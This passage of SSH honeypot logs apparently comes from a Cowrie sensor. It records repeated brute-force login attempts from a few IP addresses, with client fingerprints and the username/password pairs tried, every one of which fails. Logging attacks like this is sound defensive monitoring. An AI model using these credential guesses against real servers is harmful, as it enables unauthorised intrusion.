{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:05.929380Z","src_ip":"192.109.200.78","session":"0797ee6554ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"111111","message":"login attempt [dev/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:06.173881Z","src_ip":"192.109.200.78","session":"0797ee6554ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":49812,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb01f5aef1c9","protocol":"ssh","message":"New connection: 152.32.171.213:49812 (159.203.135.109:22) [session: fb01f5aef1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:06.317679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:06.322023Z","src_ip":"152.32.171.213","session":"fb01f5aef1c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:06.536649Z","src_ip":"152.32.171.213","session":"fb01f5aef1c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:07.257601Z","src_ip":"192.109.200.78","session":"0797ee6554ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456.","message":"login attempt [root/aA123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:07.431571Z","src_ip":"152.32.171.213","session":"fb01f5aef1c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:08.649751Z","src_ip":"152.32.171.213","session":"fb01f5aef1c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45102,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e94ac381aef","protocol":"ssh","message":"New connection: 192.109.200.78:45102 (10.17.0.5:22) [session: 8e94ac381aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:09.011856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:09.061008Z","src_ip":"192.109.200.78","session":"8e94ac381aef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:09.234256Z","src_ip":"192.109.200.78","session":"8e94ac381aef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:09.479352Z","src_ip":"192.109.200.78","session":"8e94ac381aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:10.563339Z","src_ip":"192.109.200.78","session":"8e94ac381aef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37780,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0adcd3d49a2","protocol":"ssh","message":"New connection: 192.109.200.78:37780 (10.17.0.5:22) [session: f0adcd3d49a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:12.455213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:12.458258Z","src_ip":"192.109.200.78","session":"f0adcd3d49a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:12.538281Z","src_ip":"192.109.200.78","session":"f0adcd3d49a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"modzmodz","message":"login attempt [user1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:12.793969Z","src_ip":"192.109.200.78","session":"f0adcd3d49a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:13.877016Z","src_ip":"192.109.200.78","session":"f0adcd3d49a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37794,"dst_ip":"10.17.0.5","dst_port":22,"session":"56176a775b7e","protocol":"ssh","message":"New connection: 192.109.200.78:37794 (10.17.0.5:22) [session: 56176a775b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:15.730270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:15.738897Z","src_ip":"192.109.200.78","session":"56176a775b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:15.818981Z","src_ip":"192.109.200.78","session":"56176a775b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:16.064137Z","src_ip":"192.109.200.78","session":"56176a775b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:17.148308Z","src_ip":"192.109.200.78","session":"56176a775b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":40778,"dst_ip":"10.17.0.5","dst_port":22,"session":"abaac73393e7","protocol":"ssh","message":"New connection: 62.133.62.83:40778 (10.17.0.5:22) [session: abaac73393e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:17.731589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:17.735628Z","src_ip":"62.133.62.83","session":"abaac73393e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:17.814062Z","src_ip":"62.133.62.83","session":"abaac73393e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ladoga","message":"login attempt [root/ladoga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:18.053123Z","src_ip":"62.133.62.83","session":"abaac73393e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37804,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa2abd054422","protocol":"ssh","message":"New connection: 192.109.200.78:37804 (10.17.0.5:22) [session: aa2abd054422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:19.002915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:19.006987Z","src_ip":"192.109.200.78","session":"aa2abd054422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:19.090311Z","src_ip":"192.109.200.78","session":"aa2abd054422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:19.134614Z","src_ip":"62.133.62.83","session":"abaac73393e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:19.554150Z","src_ip":"192.109.200.78","session":"aa2abd054422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:20.637258Z","src_ip":"192.109.200.78","session":"aa2abd054422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58548,"dst_ip":"10.17.0.5","dst_port":22,"session":"df424372915c","protocol":"ssh","message":"New connection: 192.109.200.78:58548 (10.17.0.5:22) [session: df424372915c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:22.362132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:22.365841Z","src_ip":"192.109.200.78","session":"df424372915c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:22.446266Z","src_ip":"192.109.200.78","session":"df424372915c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:22.689797Z","src_ip":"192.109.200.78","session":"df424372915c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:23.775376Z","src_ip":"192.109.200.78","session":"df424372915c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58554,"dst_ip":"10.17.0.5","dst_port":22,"session":"f75b91b8263a","protocol":"ssh","message":"New connection: 192.109.200.78:58554 (10.17.0.5:22) [session: f75b91b8263a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:25.650829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:25.658057Z","src_ip":"192.109.200.78","session":"f75b91b8263a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 